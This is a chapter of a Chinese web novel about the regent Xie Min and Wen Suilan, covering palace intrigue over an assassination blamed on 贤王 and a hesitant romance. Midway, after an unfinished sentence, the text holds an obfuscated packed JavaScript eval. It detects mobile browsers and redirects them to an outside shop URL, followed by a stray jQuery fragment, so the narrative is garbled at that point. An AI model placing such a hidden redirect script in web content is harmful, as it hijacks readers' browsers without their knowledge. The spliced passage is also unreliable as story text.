摄政王府。
回府后谢闽和段常去了书房,不到一炷香,段常又匆匆出来,遇见温岁岚时有一丝惊讶,后知后觉中吩咐丫鬟给温岁岚准备茶点。
温岁岚坐在正堂喝茶吃糕点,直到她吃腻了,谢闽都还没从书房出来。
时候不早,她要回家了。温岁岚起身准备去和谢闽打声招呼,然而,刚走到书房门口,就听见里面传来剧烈的碰击声。
“王爷?”
温岁岚敲敲门,里面不见回应,她清了清嗓,“民女先……”
话还没说完,谢闽的声音带着些嘶哑传出,他此刻的声音和去辰州遇上刺客的那夜很像,“进来。”
温岁岚犹豫再三还是推门进去了。
屋内没什么异样——忽略掉一旁被砍成两半的桌子和拿着剑的谢闽的话。
谢闽的脸色极度不好,温岁岚恍惚间像是又回到了那一夜,果然谢闽开口就是怼她,“真会挑时候。”
温岁岚:“……”
秉承着不与病人,特别是神经病人计较的原则,温岁岚忍下不爽,随口关心道:“王爷可是身子不适?”
她已经设想好了谢闽的回答,依照他要强的性格,必定会说没事,这样一来,她直接顺着杆子往下爬,立刻告辞离开。
没想到谢闽“嗯”了一声,把剑往地上一丢,半躺到旁边的躺椅上。
温岁岚这下走也不是,待在这也不是,她绞尽脑汁搭话:“是头痛?”
“嗯。”
“是因为王爷见了血?”
“嗯。”
两人就这样一问一答,温岁岚想了想,“也不像晕血啊。”
哪有晕血的人有力气把桌子砍成两半的?
“那我帮王爷按按?”温岁岚说完这句话自己都没底气,她上辈子虽然去按摩店兼职过,但她的师傅是盲人按摩店的老板——当然,师傅不是盲人,只是戴着墨镜假装成了盲人。
正因为如此,温岁岚才对自己师傅的手艺有所怀疑。
谢闽半睁开眼瞥她一眼,又闭上眼,从喉咙里挤出一个音节,“嗯。”
温岁岚移着小碎步走到谢闽身后,决定死马当活马医,伸出手按住他两边的太阳穴,轻轻按揉。
按摩是有些用处的,谢闽原本紧皱的眉头渐渐放松,温岁岚停下动作甩了甩发酸的手指,等缓解后又开始按摩。
“抱歉。”
谢闽突然的道歉吓得温岁岚原本就蹲麻的腿更加不稳,一屁股坐在了地上。
“啊?”
带有温度的手离开太阳穴,谢闽坐了起来,自顾自地说:“我母妃是被老皇帝砍死的,剑是我递的。”
温岁岚冷不丁地听见皇族秘辛,惶恐地附和,“或许王爷不是故意的。”
谢闽偏过头在她脸上看了几秒,实现最终落在她脖子上,轻笑一声。
“不,我是故意的。”
“她是个疯子,老皇帝也是。”
温岁岚闭口不言,谢闽也没再说话,许久,温岁岚率先打破寂静。
“王爷放心,我绝对不会和别人透露一个字。”
谢闽身世她闭眼都能猜到,疯癫的妈,病娇的爸,和破碎的他。
不过这种倾诉身世的事情她还是觉得太过亲密,不太适合她和谢闽之间。
谢闽看着她突然笑了。
“你很聪明。”
温岁岚只想打破这种尴尬的氛围,提议道:“要不我再给王爷按按?”
谢闽依言躺了下去,不再说话。
不知道过了多久,温岁岚发觉谢闽的呼吸已经平稳,她揉了揉酸涩的手,站起身准备离开。
“备马车。”
谢闽突然醒了,温岁岚干笑一声,摆手拒绝,“不用了。”
谢闽没有搭理她,起身朝外走去,温岁岚只好跟上,走到府外时,马车已经停在那儿了。
“那就多谢王爷了。”
温岁岚欠身行礼。
她正要上马车,却发现谢闽先她一步上了车,“王爷要出去?”
回应她的只有放下的马车帘子。
“……”
温岁岚上了马车,见谢闽靠在一旁休息,她嘀咕:“累了那么久讨不到好。”
没有功劳也有苦劳吧,结果现在跟他说话,都不带搭理她的。
谢闽坐起身看向她。
温岁岚怂了,“王爷好好休息。”
之后,她安分地缩在一旁不出声,摄政王府本就和温岁岚买的宅子隔得不算远,马车很快就停下了。
“王爷。”
段常的声音从马车外响起,然后他从车帘递过来一个折子,由于递过来时离温岁岚更近,温岁岚立马接过又转交给谢闽。
谢闽粗粗扫了一眼,喜怒不明。
温岁岚想立马回去睡觉,哪想谢闽把折子递给她,“看看。”
温岁岚接过,折子是谢覃送来的,大意是已经找到今日刺杀谢闽的刺客元凶,正是贤王,已经被捉拿进牢了,明日就把贤王砍了。
温岁岚联系贵妃和她提过贤王妃一事,瞬间明白了这是谢覃的局,隐晦问道:“王爷是不相信?”
谢闽似笑非笑看向她,“刺杀时你也在场,你相信吗?”
温岁岚尴尬笑笑,又听谢闽说:“与贵妃少往来。”
“你知道了?”那岂不是谢覃也知道了。她原以为贵妃肯定是打点好了才敢来见她,哪成想没打点啊。
谢闽没正面回答,“谢覃太蠢。”
温岁岚摸不清谢闽到底想做什么,以不变应万变,呆愣坐在位置上不作声。
谢闽气笑了。
“温姑娘还装傻?”
温岁岚叹了口气,“王爷,您就放过我吧,我真的不想掺和进来。”
谢闽抽过她手中的折子。
“晚了。”
温岁岚又叹了口气,确实晚了,在谢覃找上她的那一刻就晚了。
她正色道:“陛下有意针对你,但似乎又不想让你死。”
谢闽纠正:“是不想让我死得那么容易。”
温岁岚赞同地点点头,正因为如此,她中的箭上才没有毒,后来她在脑里模拟过,即便她没有为谢闽挡箭,那箭也不会刺中谢闽的心脏。
“陛下似乎有些异于常人的癖好……或许他是想像对付贤王那般对付你?”
谢闽不置可否,“我没有王妃。”
温岁岚听来还以为是谢闽否定了她的猜想,摇摇头,“除了这个,我想不到陛下有何意了。”
谢闽把折子扫了一遍,放到一旁,手心把着空茶杯玩转。
“不急,狐狸会有露出尾巴的一天。”
温岁岚松了口气,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120159|149859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那我先回去睡觉了,王爷早些休息。”
她头也不回地离开了。
谢闽停留在原地,良久,他开口:“回府。”
……
谢闽回府后,迎来一位不速之客。
“皇叔。”
已经接近子时,谢覃还是一副神采奕奕的样子,“送温姑娘回来了?”
谢闽没理他,段常站在一旁时刻关注着四周。
谢覃也不恼,笑道:“温姑娘守得云开见月明啊。”
“怎么?”
见谢闽终于说话了,谢覃轻松道:“温姑娘心悦皇叔,皇叔不知道吗?”
谢闽眉眼冷淡,“与我何干?”
谢覃笑意稍减,走近询问,“皇叔对温姑娘没意思?”
谢闽看向他,反问:“折子处理完了?”
谢覃被扫兴,甩袖背过手,“罢了罢了。”
说完,他大步离开。
段常对谢覃这突然来突然走的行为疑惑不解,转头一看,谢闽似乎陷入了沉思,“王爷?”
谢闽回神。
他走向寝殿,关门前,犹豫问道:“你如何看?”
段常有些懵。
看什么?
他立即回想刚刚所有谈话,终于找到了一个可能的回答,“温姑娘心悦王爷?”
谢闽是不信的,可温岁岚先是为他挡箭,又给他按摩,被谢覃这么直白说出来,扰乱了他心神。
段常观察了一番他的脸色,认真措辞。
“我觉得陛下或许误会了,温姑娘和王爷之间肯定是清白的。”
谢闽下意识反驳:“她之前为本王挡箭,今日又给本王按摩……”说到这,他像突然醒来一般闭上嘴。
段常:“我也能为王爷挡箭和按摩啊,我觉得温姑娘应该没这个意思。”
谢闽脸色莫名不太好,段常又加了句,“不过我一个男子,又怎么知道女子的想法。”
谢闽脸色好了些,知谢闽莫若段常,他建议:“王爷若是心悦温姑娘,或许可以和温姑娘增加些相处时间。”
若是温姑娘成为王府的女主人,似乎也不错。
谢闽脸色又不好了,“谁说本王心悦她了?”
段常奇怪道:“若王爷不喜欢温姑娘,又何必在意温姑娘喜不喜欢王爷?”
谢闽第一次无话可说,把门关上,门合拢前丢下一句——
“本王没在意。”
……
温岁岚这几日一直在想谢覃的意图,毕竟这是一不小心就会被算计掉脑袋的事情,她反复想着贵妃说的话,又联系贤王的下场和谢覃对她说的话,思绪混乱,如同她在纸上画下的黑圈。
“阿岚,用膳了。”
温岁岚突然站起来,眼神很亮,“我想到了!”
周竺问:“想到了什么?”
温岁岚摆摆手,朝着外面跑去,“你和娘先吃,不用等我。”
摄政王府外。
温岁岚问一旁的侍卫,“王爷可在?”
侍卫认识她,点点头,“属下进去禀报一声,劳烦温姑娘稍等。”
没多久,侍卫出来了,对她一拱手。
“温姑娘里面请,王爷在书房。”
温岁岚熟稔地去了书房,她敲了敲门,得到回应后推开门:“我知道陛下想做什么了。”